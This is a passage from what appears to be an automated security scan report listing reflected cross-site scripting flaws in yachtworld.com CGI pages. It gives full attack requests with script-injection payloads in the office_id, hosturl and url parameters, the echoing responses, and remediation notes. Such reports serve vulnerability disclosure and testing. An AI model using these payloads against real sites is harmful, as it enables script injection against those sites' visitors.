VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:44:48 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Jarrett Bay Yacht Sales (Beaufort, NC)</TITLE> <META name="keywords" cont ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="1023057237a"><script>alert(1)</script>a865df0d3e4"> ...[SNIP]...
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c948"><script>alert(1)</script>5aa7ebaaa6d was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /jerseymarine/email.cgi?url=jerseymarine&office_id=1113579c948"><script>alert(1)</script>5aa7ebaaa6d&boat_id=2262662 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:45:27 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Jersey Marine (Somers Point, NJ)</TITLE> <META name="keywords" content="c ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="1113579c948"><script>alert(1)</script>5aa7ebaaa6d"> ...[SNIP]...
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 8e1ba<script>alert(1)</script>9d3d0a27e0b was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /jerseymarine/jerseymarine_2.cgi?company=jerseymarine&limit=50&type=&new=&units=Feet&hosturl=jerseymarine8e1ba<script>alert(1)</script>9d3d0a27e0b&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:45:54 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/jerseymarine8e1ba<s ...[SNIP]... </script>9d3d0a27e0b/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/jerseymarine8e1ba<script>alert(1)</script>9d3d0a27e0b/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/jerseymarine8e1ba<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 213a1--><script>alert(1)</script>8b2994f704b was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /jerseymarine/jerseymarine_2.cgi?company=jerseymarine&limit=50&type=&new=&units=Feet&hosturl=jerseymarine213a1--><script>alert(1)</script>8b2994f704b&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:46:07 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the url request parameter is copied into the value of a tag attribute which can contain JavaScript. The payload javascript%3aalert(1)//cf28a19c was submitted in the url parameter. This input was echoed as javascript:alert(1)//cf28a19c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /leaving_yw.cgi?url=javascript%3aalert(1)//cf28a19c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:47 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ac29"><script>alert(1)</script>8837238e2e1 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /leaving_yw.cgi?url=http://www.starlingmarine.com9ac29"><script>alert(1)</script>8837238e2e1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUC